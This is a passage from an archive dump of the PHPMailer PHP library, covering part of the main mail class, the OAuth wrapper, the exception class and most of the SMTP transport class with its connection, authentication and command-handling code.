= implode(static::$LE, $headersToSign); $body = $this->DKIM_BodyC($body); //Base64 of packed binary SHA-256 hash of body $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); $ident = ''; if ('' !== $this->DKIM_identity) { $ident = ' i=' . $this->DKIM_identity . ';' . static::$LE; } //The DKIM-Signature header is included in the signature *except for* the value of the `b` tag //which is appended after calculating the signature //https://tools.ietf.org/html/rfc6376#section-3.5 $dkimSignatureHeader = 'DKIM-Signature: v=1;' . ' d=' . $this->DKIM_domain . ';' . ' s=' . $this->DKIM_selector . ';' . static::$LE . ' a=' . $DKIMsignatureType . ';' . ' q=' . $DKIMquery . ';' . ' t=' . $DKIMtime . ';' . ' c=' . $DKIMcanonicalization . ';' . static::$LE . $headerKeys . $ident . $copiedHeaderFields . ' bh=' . $DKIMb64 . ';' . static::$LE . ' b='; //Canonicalize the set of headers $canonicalizedHeaders = $this->DKIM_HeaderC( $headerValues . static::$LE . $dkimSignatureHeader ); $signature = $this->DKIM_Sign($canonicalizedHeaders); $signature = trim(chunk_split($signature, self::STD_LINE_LENGTH - 3, static::$LE . self::FWS)); return static::normalizeBreaks($dkimSignatureHeader . $signature); } /** * Detect if a string contains a line longer than the maximum line length * allowed by RFC 2822 section 2.1.1. * * @param string $str * * @return bool */ public static function hasLineLongerThanMax($str) { return (bool) preg_match('/^(.{' . (self::MAX_LINE_LENGTH + strlen(static::$LE)) . ',})/m', $str); } /** * If a string contains any "special" characters, double-quote the name, * and escape any double quotes with a backslash. * * @param string $str * * @return string * * @see RFC822 3.4.1 */ public static function quotedString($str) { if (preg_match('/[ ()<>@,;:"\/\[\]?=]/', $str)) { //If the string contains any of these chars, it must be double-quoted //and any double quotes must be escaped with a backslash return '"' . str_replace('"', '\\"', $str) . '"'; } //Return the string untouched, it doesn't need quoting return $str; } /** * Allows for public read access to 'to' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getToAddresses() { return $this->to; } /** * Allows for public read access to 'cc' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getCcAddresses() { return $this->cc; } /** * Allows for public read access to 'bcc' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getBccAddresses() { return $this->bcc; } /** * Allows for public read access to 'ReplyTo' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getReplyToAddresses() { return $this->ReplyTo; } /** * Allows for public read access to 'all_recipients' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getAllRecipientAddresses() { return $this->all_recipients; } /** * Perform a callback. * * @param bool $isSent * @param array $to * @param array $cc * @param array $bcc * @param string $subject * @param string $body * @param string $from * @param array $extra */ protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from, $extra) { if (!empty($this->action_function) && is_callable($this->action_function)) { call_user_func($this->action_function, $isSent, $to, $cc, $bcc, $subject, $body, $from, $extra); } } /** * Get the OAuthTokenProvider instance. * * @return OAuthTokenProvider */ public function getOAuth() { return $this->oauth; } /** * Set an OAuthTokenProvider instance. */ public function setOAuth(OAuthTokenProvider $oauth) { $this->oauth = $oauth; } } phpmailer/phpmailer/src/OAuth.php000064400000007276151676714400013055 0ustar00<?php /** * PHPMailer - PHP email creation and transport class. * PHP Version 5.5. * * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; use League\OAuth2\Client\Grant\RefreshToken; use League\OAuth2\Client\Provider\AbstractProvider; use League\OAuth2\Client\Token\AccessToken; /** * OAuth - OAuth2 authentication wrapper class. * Uses the oauth2-client package from the League of Extraordinary Packages. * * @see http://oauth2-client.thephpleague.com * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> */ class OAuth implements OAuthTokenProvider { /** * An instance of the League OAuth Client Provider. * * @var AbstractProvider */ protected $provider; /** * The current OAuth access token. * * @var AccessToken */ protected $oauthToken; /** * The user's email address, usually used as the login ID * and also the from address when sending email. * * @var string */ protected $oauthUserEmail = ''; /** * The client secret, generated in the app definition of the service you're connecting to. * * @var string */ protected $oauthClientSecret = ''; /** * The client ID, generated in the app definition of the service you're connecting to. * * @var string */ protected $oauthClientId = ''; /** * The refresh token, used to obtain new AccessTokens. * * @var string */ protected $oauthRefreshToken = ''; /** * OAuth constructor. * * @param array $options Associative array containing * `provider`, `userName`, `clientSecret`, `clientId` and `refreshToken` elements */ public function __construct($options) { $this->provider = $options['provider']; $this->oauthUserEmail = $options['userName']; $this->oauthClientSecret = $options['clientSecret']; $this->oauthClientId = $options['clientId']; $this->oauthRefreshToken = $options['refreshToken']; } /** * Get a new RefreshToken. * * @return RefreshToken */ protected function getGrant() { return new RefreshToken(); } /** * Get a new AccessToken. * * @return AccessToken */ protected function getToken() { return $this->provider->getAccessToken( $this->getGrant(), ['refresh_token' => $this->oauthRefreshToken] ); } /** * Generate a base64-encoded OAuth token. * * @return string */ public function getOauth64() { //Get a new token if it's not available or has expired if (null === $this->oauthToken || $this->oauthToken->hasExpired()) { $this->oauthToken = $this->getToken(); } return base64_encode( 'user=' . $this->oauthUserEmail . "\001auth=Bearer " . $this->oauthToken . "\001\001" ); } } phpmailer/phpmailer/src/Exception.php000064400000002330151676714400013755 0ustar00<?php /** * PHPMailer Exception class. * PHP Version 5.5. * * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * PHPMailer exception handler. * * @author Marcus Bointon <phpmailer@synchromedia.co.uk> */ class Exception extends \Exception { /** * Prettify error message output. * * @return string */ public function errorMessage() { return '<strong>' . htmlspecialchars($this->getMessage(), ENT_COMPAT | ENT_HTML401) . "</strong><br />\n"; } } phpmailer/phpmailer/src/SMTP.php000064400000136573151676714400012623 0ustar00<?php /** * PHPMailer RFC821 SMTP email transport class. * PHP Version 5.5. * * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * PHPMailer RFC821 SMTP email transport class. * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server. * * @author Chris Ryan * @author Marcus Bointon <phpmailer@synchromedia.co.uk> */ class SMTP { /** * The PHPMailer SMTP version number. * * @var string */ const VERSION = '6.9.1'; /** * SMTP line break constant. * * @var string */ const LE = "\r\n"; /** * The SMTP port to use if one is not specified. * * @var int */ const DEFAULT_PORT = 25; /** * The SMTPs port to use if one is not specified. * * @var int */ const DEFAULT_SECURE_PORT = 465; /** * The maximum line length allowed by RFC 5321 section 4.5.3.1.6, * *excluding* a trailing CRLF break. * * @see https://tools.ietf.org/html/rfc5321#section-4.5.3.1.6 * * @var int */ const MAX_LINE_LENGTH = 998; /** * The maximum line length allowed for replies in RFC 5321 section 4.5.3.1.5, * *including* a trailing CRLF line break. * * @see https://tools.ietf.org/html/rfc5321#section-4.5.3.1.5 * * @var int */ const MAX_REPLY_LENGTH = 512; /** * Debug level for no output. * * @var int */ const DEBUG_OFF = 0; /** * Debug level to show client -> server messages. * * @var int */ const DEBUG_CLIENT = 1; /** * Debug level to show client -> server and server -> client messages. * * @var int */ const DEBUG_SERVER = 2; /** * Debug level to show connection status, client -> server and server -> client messages. * * @var int */ const DEBUG_CONNECTION = 3; /** * Debug level to show all messages. * * @var int */ const DEBUG_LOWLEVEL = 4; /** * Debug output level. * Options: * * self::DEBUG_OFF (`0`) No debug output, default * * self::DEBUG_CLIENT (`1`) Client commands * * self::DEBUG_SERVER (`2`) Client commands and server responses * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages. * * @var int */ public $do_debug = self::DEBUG_OFF; /** * How to handle debug output. * Options: * * `echo` Output plain-text as-is, appropriate for CLI * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output * * `error_log` Output to error log as configured in php.ini * Alternatively, you can provide a callable expecting two params: a message string and the debug level: * * ```php * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";}; * ``` * * Alternatively, you can pass in an instance of a PSR-3 compatible logger, though only `debug` * level output is used: * * ```php * $mail->Debugoutput = new myPsr3Logger; * ``` * * @var string|callable|\Psr\Log\LoggerInterface */ public $Debugoutput = 'echo'; /** * Whether to use VERP. * * @see http://en.wikipedia.org/wiki/Variable_envelope_return_path * @see http://www.postfix.org/VERP_README.html Info on VERP * * @var bool */ public $do_verp = false; /** * The timeout value for connection, in seconds. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2. * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure. * * @see http://tools.ietf.org/html/rfc2821#section-4.5.3.2 * * @var int */ public $Timeout = 300; /** * How long to wait for commands to complete, in seconds. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2. * * @var int */ public $Timelimit = 300; /** * Patterns to extract an SMTP transaction id from reply to a DATA command. * The first capture group in each regex will be used as the ID. * MS ESMTP returns the message ID, which may not be correct for internal tracking. * * @var string[] */ protected $smtp_transaction_id_patterns = [ 'exim' => '/[\d]{3} OK id=(.*)/', 'sendmail' => '/[\d]{3} 2.0.0 (.*) Message/', 'postfix' => '/[\d]{3} 2.0.0 Ok: queued as (.*)/', 'Microsoft_ESMTP' => '/[0-9]{3} 2.[\d].0 (.*)@(?:.*) Queued mail for delivery/', 'Amazon_SES' => '/[\d]{3} Ok (.*)/', 'SendGrid' => '/[\d]{3} Ok: queued as (.*)/', 'CampaignMonitor' => '/[\d]{3} 2.0.0 OK:([a-zA-Z\d]{48})/', 'Haraka' => '/[\d]{3} Message Queued \((.*)\)/', 'ZoneMTA' => '/[\d]{3} Message queued as (.*)/', 'Mailjet' => '/[\d]{3} OK queued as (.*)/', ]; /** * Allowed SMTP XCLIENT attributes. * Must be allowed by the SMTP server. EHLO response is not checked. * * @see https://www.postfix.org/XCLIENT_README.html * * @var array */ public static $xclient_allowed_attributes = [ 'NAME', 'ADDR', 'PORT', 'PROTO', 'HELO', 'LOGIN', 'DESTADDR', 'DESTPORT' ]; /** * The last transaction ID issued in response to a DATA command, * if one was detected. * * @var string|bool|null */ protected $last_smtp_transaction_id; /** * The socket for the server connection. * * @var ?resource */ protected $smtp_conn; /** * Error information, if any, for the last SMTP command. * * @var array */ protected $error = [ 'error' => '', 'detail' => '', 'smtp_code' => '', 'smtp_code_ex' => '', ]; /** * The reply the server sent to us for HELO. * If null, no HELO string has yet been received. * * @var string|null */ protected $helo_rply; /** * The set of SMTP extensions sent in reply to EHLO command. * Indexes of the array are extension names. * Value at index 'HELO' or 'EHLO' (according to command that was sent) * represents the server name. In case of HELO it is the only element of the array. * Other values can be boolean TRUE or an array containing extension options. * If null, no HELO/EHLO string has yet been received. * * @var array|null */ protected $server_caps; /** * The most recent reply received from the server. * * @var string */ protected $last_reply = ''; /** * Output debugging info via a user-selected method. * * @param string $str Debug string to output * @param int $level The debug level of this message; see DEBUG_* constants * * @see SMTP::$Debugoutput * @see SMTP::$do_debug */ protected function edebug($str, $level = 0) { if ($level > $this->do_debug) { return; } //Is this a PSR-3 logger? if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) { $this->Debugoutput->debug($str); return; } //Avoid clash with built-in function names if (is_callable($this->Debugoutput) && !in_array($this->Debugoutput, ['error_log', 'html', 'echo'])) { call_user_func($this->Debugoutput, $str, $level); return; } switch ($this->Debugoutput) { case 'error_log': //Don't output, just log error_log($str); break; case 'html': //Cleans up output a bit for a better looking, HTML-safe output echo gmdate('Y-m-d H:i:s'), ' ', htmlentities( preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8' ), "<br>\n"; break; case 'echo': default: //Normalize line breaks $str = preg_replace('/\r\n|\r/m', "\n", $str); echo gmdate('Y-m-d H:i:s'), "\t", //Trim trailing space trim( //Indent for readability, except for trailing break str_replace( "\n", "\n \t ", trim($str) ) ), "\n"; } } /** * Connect to an SMTP server. * * @param string $host SMTP server IP or host name * @param int $port The port number to connect to * @param int $timeout How long to wait for the connection to open * @param array $options An array of options for stream_context_create() * * @return bool */ public function connect($host, $port = null, $timeout = 30, $options = []) { //Clear errors to avoid confusion $this->setError(''); //Make sure we are __not__ connected if ($this->connected()) { //Already connected, generate error $this->setError('Already connected to a server'); return false; } if (empty($port)) { $port = self::DEFAULT_PORT; } //Connect to the SMTP server $this->edebug( "Connection: opening to $host:$port, timeout=$timeout, options=" . (count($options) > 0 ? var_export($options, true) : 'array()'), self::DEBUG_CONNECTION ); $this->smtp_conn = $this->getSMTPConnection($host, $port, $timeout, $options); if ($this->smtp_conn === false) { //Error info already set inside `getSMTPConnection()` return false; } $this->edebug('Connection: opened', self::DEBUG_CONNECTION); //Get any announcement $this->last_reply = $this->get_lines(); $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER); $responseCode = (int)substr($this->last_reply, 0, 3); if ($responseCode === 220) { return true; } //Anything other than a 220 response means something went wrong //RFC 5321 says the server will wait for us to send a QUIT in response to a 554 error //https://tools.ietf.org/html/rfc5321#section-3.1 if ($responseCode === 554) { $this->quit(); } //This will handle 421 responses which may not wait for a QUIT (e.g. if the server is being shut down) $this->edebug('Connection: closing due to error', self::DEBUG_CONNECTION); $this->close(); return false; } /** * Create connection to the SMTP server. * * @param string $host SMTP server IP or host name * @param int $port The port number to connect to * @param int $timeout How long to wait for the connection to open * @param array $options An array of options for stream_context_create() * * @return false|resource */ protected function getSMTPConnection($host, $port = null, $timeout = 30, $options = []) { static $streamok; //This is enabled by default since 5.0.0 but some providers disable it //Check this once and cache the result if (null === $streamok) { $streamok = function_exists('stream_socket_client'); } $errno = 0; $errstr = ''; if ($streamok) { $socket_context = stream_context_create($options); set_error_handler([$this, 'errorHandler']); $connection = stream_socket_client( $host . ':' . $port, $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, $socket_context ); } else { //Fall back to fsockopen which should work in more places, but is missing some features $this->edebug( 'Connection: stream_socket_client not available, falling back to fsockopen', self::DEBUG_CONNECTION ); set_error_handler([$this, 'errorHandler']); $connection = fsockopen( $host, $port, $errno, $errstr, $timeout ); } restore_error_handler(); //Verify we connected properly if (!is_resource($connection)) { $this->setError( 'Failed to connect to server', '', (string) $errno, $errstr ); $this->edebug( 'SMTP ERROR: ' . $this->error['error'] . ": $errstr ($errno)", self::DEBUG_CLIENT ); return false; } //SMTP server can take longer to respond, give longer timeout for first read //Windows does not have support for this timeout function if (strpos(PHP_OS, 'WIN') !== 0) { $max = (int)ini_get('max_execution_time'); //Don't bother if unlimited, or if set_time_limit is disabled if (0 !== $max && $timeout > $max && strpos(ini_get('disable_functions'), 'set_time_limit') === false) { @set_time_limit($timeout); } stream_set_timeout($connection, $timeout, 0); } return $connection; } /** * Initiate a TLS (encrypted) session. * * @return bool */ public function startTLS() { if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) { return false; } //Allow the best TLS version(s) we can $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT; //PHP 5.6.7 dropped inclusion of TLS 1.1 and 1.2 in STREAM_CRYPTO_METHOD_TLS_CLIENT //so add them back in manually if we can if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) { $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT; } //Begin encrypted connection set_error_handler([$this, 'errorHandler']); $crypto_ok = stream_socket_enable_crypto( $this->smtp_conn, true, $crypto_method ); restore_error_handler(); return (bool) $crypto_ok; } /** * Perform SMTP authentication. * Must be run after hello(). * * @see hello() * * @param string $username The user name * @param string $password The password * @param string $authtype The auth type (CRAM-MD5, PLAIN, LOGIN, XOAUTH2) * @param OAuthTokenProvider $OAuth An optional OAuthTokenProvider instance for XOAUTH2 authentication * * @return bool True if successfully authenticated */ public function authenticate( $username, $password, $authtype = null, $OAuth = null ) { if (!$this->server_caps) { $this->setError('Authentication is not allowed before HELO/EHLO'); return false; } if (array_key_exists('EHLO', $this->server_caps)) { //SMTP extensions are available; try to find a proper authentication method if (!array_key_exists('AUTH', $this->server_caps)) { $this->setError('Authentication is not allowed at this stage'); //'at this stage' means that auth may be allowed after the stage changes //e.g. after STARTTLS return false; } $this->edebug('Auth method requested: ' . ($authtype ?: 'UNSPECIFIED'), self::DEBUG_LOWLEVEL); $this->edebug( 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']), self::DEBUG_LOWLEVEL ); //If we have requested a specific auth type, check the server supports it before trying others if (null !== $authtype && !in_array($authtype, $this->server_caps['AUTH'], true)) { $this->edebug('Requested auth method not available: ' . $authtype, self::DEBUG_LOWLEVEL); $authtype = null; } if (empty($authtype)) { //If no auth mechanism is specified, attempt to use these, in this order //Try CRAM-MD5 first as it's more secure than the others foreach (['CRAM-MD5', 'LOGIN', 'PLAIN', 'XOAUTH2'] as $method) { if (in_array($method, $this->server_caps['AUTH'], true)) { $authtype = $method; break; } } if (empty($authtype)) { $this->setError('No supported authentication methods found'); return false; } $this->edebug('Auth method selected: ' . $authtype, self::DEBUG_LOWLEVEL); } if (!in_array($authtype, $this->server_caps['AUTH'], true)) { $this->setError("The requested authentication method \"$authtype\" is not supported by the server"); return false; } } elseif (empty($authtype)) { $authtype = 'LOGIN'; } switch ($authtype) { case 'PLAIN': //Start authentication if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) { return false; } //Send encoded username and password if ( //Format from https://tools.ietf.org/html/rfc4616#section-2 //We skip the first field (it's forgery), so the string starts with a null byte !$this->sendCommand( 'User & Password', base64_encode("\0" . $username . "\0" . $password), 235 ) ) { return false; } break; case 'LOGIN': //Start authentication if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) { return false; } if (!$this->sendCommand('Username', base64_encode($username), 334)) { return false; } if (!$this->sendCommand('Password', base64_encode($password), 235)) { return false; } break; case 'CRAM-MD5': //Start authentication if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) { return false; } //Get the challenge $challenge = base64_decode(substr($this->last_reply, 4)); //Build the response $response = $username . ' ' . $this->hmac($challenge, $password); //send encoded credentials return $this->sendCommand('Username', base64_encode($response), 235); case 'XOAUTH2': //The OAuth instance must be set up prior to requesting auth. if (null === $OAuth) { return false; } $oauth = $OAuth->getOauth64(); //Start authentication if (!$this->sendCommand('AUTH', 'AUTH XOAUTH2 ' . $oauth, 235)) { return false; } break; default: $this->setError("Authentication method \"$authtype\" is not supported"); return false; } return true; } /** * Calculate an MD5 HMAC hash. * Works like hash_hmac('md5', $data, $key) * in case that function is not available. * * @param string $data The data to hash * @param string $key The key to hash with * * @return string */ protected function hmac($data, $key) { if (function_exists('hash_hmac')) { return hash_hmac('md5', $data, $key); } //The following borrowed from //http://php.net/manual/en/function.mhash.php#27225 //RFC 2104 HMAC implementation for php. //Creates an md5 HMAC. //Eliminates the need to install mhash to compute a HMAC //by Lance Rushing $bytelen = 64; //byte length for md5 if (strlen($key) > $bytelen) { $key = pack('H*', md5($key)); } $key = str_pad($key, $bytelen, chr(0x00)); $ipad = str_pad('', $bytelen, chr(0x36)); $opad = str_pad('', $bytelen, chr(0x5c)); $k_ipad = $key ^ $ipad; $k_opad = $key ^ $opad; return md5($k_opad . pack('H*', md5($k_ipad . $data))); } /** * Check connection state. * * @return bool True if connected */ public function connected() { if (is_resource($this->smtp_conn)) { $sock_status = stream_get_meta_data($this->smtp_conn); if ($sock_status['eof']) { //The socket is valid but we are not connected $this->edebug( 'SMTP NOTICE: EOF caught while checking if connected', self::DEBUG_CLIENT ); $this->close(); return false; } return true; //everything looks good } return false; } /** * Close the socket and clean up the state of the class. * Don't use this function without first trying to use QUIT. * * @see quit() */ public function close() { $this->server_caps = null; $this->helo_rply = null; if (is_resource($this->smtp_conn)) { //Close the connection and cleanup fclose($this->smtp_conn); $this->smtp_conn = null; //Makes for cleaner serialization $this->edebug('Connection: closed', self::DEBUG_CONNECTION); } } /** * Send an SMTP DATA command. * Issues a data command and sends the msg_data to the server, * finalizing the mail transaction. $msg_data is the message * that is to be sent with the headers. Each header needs to be * on a single line followed by a <CRLF> with the message headers * and the message body being separated by an additional <CRLF>. * Implements RFC 821: DATA <CRLF>. * * @param string $msg_data Message data to send * * @return bool */ public function data($msg_data) { //This will use the standard timelimit if (!$this->sendCommand('DATA', 'DATA', 354)) { return false; } /* The server is ready to accept data! * According to rfc821 we should not send more than 1000 characters on a single line (including the LE) * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into * smaller lines to fit within the limit. * We will also look for lines that start with a '.' and prepend an additional '.'. * NOTE: this does not count towards line-length limit. */ //Normalize line breaks before exploding $lines = explode("\n", str_replace(["\r\n", "\r"], "\n", $msg_data)); /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field * of the first line (':' separated) does not contain a space then it _should_ be a header, and we will * process all lines before a blank line as headers. */ $field = substr($lines[0], 0, strpos($lines[0], ':')); $in_headers = false; if (!empty($field) && strpos($field, ' ') === false) { $in_headers = true; } foreach ($lines as $line) { $lines_out = []; if ($in_headers && $line === '') { $in_headers = false; } //Break this line up into several smaller lines if it's too long //Micro-optimisation: isset($str[$len]) is faster than (strlen($str) > $len), while (isset($line[self::MAX_LINE_LENGTH])) { //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on //so as to avoid breaking in the middle of a word $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' '); //Deliberately matches both false and 0 if (!$pos) { //No nice break found, add a hard break $pos = self::MAX_LINE_LENGTH - 1; $lines_out[] = substr($line, 0, $pos); $line = substr($line, $pos); } else { //Break at the found point $lines_out[] = substr($line, 0, $pos); //Move along by the amount we dealt with $line = substr($line, $pos + 1); } //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1 if ($in_headers) { $line = "\t" . $line; } } $lines_out[] = $line; //Send the lines to the server foreach ($lines_out as $line_out) { //Dot-stuffing as per RFC5321 section 4.5.2 //https://tools.ietf.org/html/rfc5321#section-4.5.2 if (!empty($line_out) && $line_out[0] === '.') { $line_out = '.' . $line_out; } $this->client_send($line_out . static::LE, 'DATA'); } } //Message data has been sent, complete the command //Increase timelimit for end of DATA command $savetimelimit = $this->Timelimit; $this->Timelimit *= 2; $result = $this->sendCommand('DATA END', '.', 250); $this->recordLastTransactionID(); //Restore timelimit $this->Timelimit = $savetimelimit; return $result; } /** * Send an SMTP HELO or EHLO command. * Used to identify the sending server to the receiving server. * This makes sure that client and server are in a known state. * Implements RFC 821: HELO <SP> <domain> <CRLF> * and RFC 2821 EHLO. * * @param string $host The host name or IP to connect to * * @return bool */ public function hello($host = '') { //Try extended hello first (RFC 2821) if ($this->sendHello('EHLO', $host)) { return true; } //Some servers shut down the SMTP service here (RFC 5321) if (substr($this->helo_rply, 0, 3) == '421') { return false; } return $this->sendHello('HELO', $host); } /** * Send an SMTP HELO or EHLO command. * Low-level implementation used by hello(). * * @param string $hello The HELO string * @param string $host The hostname to say we are * * @return bool * * @see hello() */ protected function sendHello($hello, $host) { $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250); $this->helo_rply = $this->last_reply; if ($noerror) { $this->parseHelloFields($hello); } else { $this->server_caps = null; } return $noerror; } /** * Parse a reply to HELO/EHLO command to discover server extensions. * In case of HELO, the only parameter that can be discovered is a server name. * * @param string $type `HELO` or `EHLO` */ protected function parseHelloFields($type) { $this->server_caps = []; $lines = explode("\n", $this->helo_rply); foreach ($lines as $n => $s) { //First 4 chars contain response code followed by - or space $s = trim(substr($s, 4)); if (empty($s)) { continue; } $fields = explode(' ', $s); if (!empty($fields)) { if (!$n) { $name = $type; $fields = $fields[0]; } else { $name = array_shift($fields); switch ($name) { case 'SIZE': $fields = ($fields ? $fields[0] : 0); break; case 'AUTH': if (!is_array($fields)) { $fields = []; } break; default: $fields = true; } } $this->server_caps[$name] = $fields; } } } /** * Send an SMTP MAIL command. * Starts a mail transaction from the email address specified in * $from. Returns true if successful or false otherwise. If True * the mail transaction is started and then one or more recipient * commands may be called followed by a data command. * Implements RFC 821: MAIL <SP> FROM:<reverse-path> <CRLF>. * * @param string $from Source address of this message * * @return bool */ public function mail($from) { $useVerp = ($this->do_verp ? ' XVERP' : ''); return $this->sendCommand( 'MAIL FROM', 'MAIL FROM:<' . $from . '>' . $useVerp, 250 ); } /** * Send an SMTP QUIT command. * Closes the socket if there is no error or the $close_on_error argument is true. * Implements from RFC 821: QUIT <CRLF>. * * @param bool $close_on_error Should the connection close if an error occurs? * * @return bool */ public function quit($close_on_error = true) { $noerror = $this->sendCommand('QUIT', 'QUIT', 221); $err = $this->error; //Save any error if ($noerror || $close_on_error) { $this->close(); $this->error = $err; //Restore any error from the quit command } return $noerror; } /** * Send an SMTP RCPT command. * Sets the TO argument to $toaddr. * Returns true if the recipient was accepted false if it was rejected. * Implements from RFC 821: RCPT <SP> TO:<forward-path> <CRLF>. * * @param string $address The address the message is being sent to * @param string $dsn Comma separated list of DSN notifications. NEVER, SUCCESS, FAILURE * or DELAY. If you specify NEVER all other notifications are ignored. * * @return bool */ public function recipient($address, $dsn = '') { if (empty($dsn)) { $rcpt = 'RCPT TO:<' . $address . '>'; } else { $dsn = strtoupper($dsn); $notify = []; if (strpos($dsn, 'NEVER') !== false) { $notify[] = 'NEVER'; } else { foreach (['SUCCESS', 'FAILURE', 'DELAY'] as $value) { if (strpos($dsn, $value) !== false) { $notify[] = $value; } } } $rcpt = 'RCPT TO:<' . $address . '> NOTIFY=' . implode(',', $notify); } return $this->sendCommand( 'RCPT TO', $rcpt, [250, 251] ); } /** * Send SMTP XCLIENT command to server and check its return code. * * @return bool True on success */ public function xclient(array $vars) { $xclient_options = ""; foreach ($vars as $key => $value) { if (in_array($key, SMTP::$xclient_allowed_attributes)) { $xclient_options .= " {$key}={$value}"; } } if (!$xclient_options) { return true; } return $this->sendCommand('XCLIENT', 'XCLIENT' . $xclient_options, 250); } /** * Send an SMTP RSET command. * Abort any transaction that is currently in progress. * Implements RFC 821: RSET <CRLF>. * * @return bool True on success */ public function reset() { return $this->sendCommand('RSET', 'RSET', 250); } /** * Send a command to an SMTP server and check its return code. * * @param string $command The command name - not sent to the server * @param string $commandstring The actual command to send * @param int|array $expect One or more expected integer success codes * * @return bool True on success */ protected function sendCommand($command, $commandstring, $expect) { if (!$this->connected()) { $this->setError("Called $command without being connected"); return false; } //Reject line breaks in all commands if ((strpos($commandstring, "\n") !== false) || (strpos($commandstring, "\r") !== false)) { $this->setError("Command '$command' contained line breaks"); return false; } $this->client_send($commandstring . static::LE, $command); $this->last_reply = $this->get_lines(); //Fetch SMTP code and possible error code explanation $matches = []; if (preg_match('/^([\d]{3})[ -](?:([\d]\\.[\d]\\.[\d]{1,2}) )?/', $this->last_reply, $matches)) { $code = (int) $matches[1]; $code_ex = (count($matches) > 2 ? $matches[2] : null); //Cut off error code from each response line $detail = preg_replace( "/{$code}[ -]" . ($code_ex ? str_replace('.', '\\.', $code_ex) . ' ' : '') . '/m', '', $this->last_reply ); } else { //Fall back to simple parsing if regex fails $code = (int) substr($this->last_reply, 0, 3); $code_ex = null; $detail = substr($this->last_reply, 4); } $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER); if (!in_array($code, (array) $expect, true)) { $this->setError( "$command command failed", $detail, $code, $code_ex ); $this->edebug( 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply, self::DEBUG_CLIENT ); return false; } //Don't clear the error store when using keepalive if ($command !== 'RSET') { $this->setError(''); } return true; } /** * Send an SMTP SAML command. * Starts a mail transaction from the email address specified in $from. * Returns true if successful or false otherwise. If True * the mail transaction is started and then one or more recipient * commands may be called followed by a data command. This command * will send the message to the users terminal if they are logged * in and send them an email. * Implements RFC 821: SAML <SP> FROM:<reverse-path> <CRLF>. * * @param string $from The address the message is from * * @return bool */ public function sendAndMail($from) { return $this->sendCommand('SAML', "SAML FROM:$from", 250); } 